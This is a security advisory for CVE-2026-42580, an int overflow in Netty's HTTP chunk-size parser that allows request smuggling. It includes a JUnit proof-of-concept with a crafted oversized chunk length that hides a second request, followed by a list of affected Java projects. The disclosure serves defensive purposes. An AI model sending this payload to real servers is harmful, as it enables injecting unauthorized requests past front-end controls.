CVE-2026-42580

About vulnerability

Summary

Netty’s chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();

// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected product:

Apache CXF , Apache Hadoop , Apache Kafka , Apache Log4j , Apache Lucene , Apache Solr , Apache Spark , Eclipse Jetty , Netty , Spring , Wildfly , artemis , async-http-client , avro , aws-sdk-java , azure-sdk-for-java , bolt-connection-java , camel , cassandra-java-driver , corda , couchbase-jvm-clients , docker-java , elasticsearch , etcd4j , flink , flink-shaded , grpc-java , grpc-netty , infinispan , java-driver , lettuce , logging-flume , neo4j-java-driver , neo4j-ogm , netty , olingo-odata4 , pulsar , rabbitmq-stream-java-client , ribbon , rsocket-java , rxnetty , tika , vert.x , wildfly , zendesk-java-client , zookeeper

Affected packages:

reactor-netty-http @ 1.2.18 (+13230 more)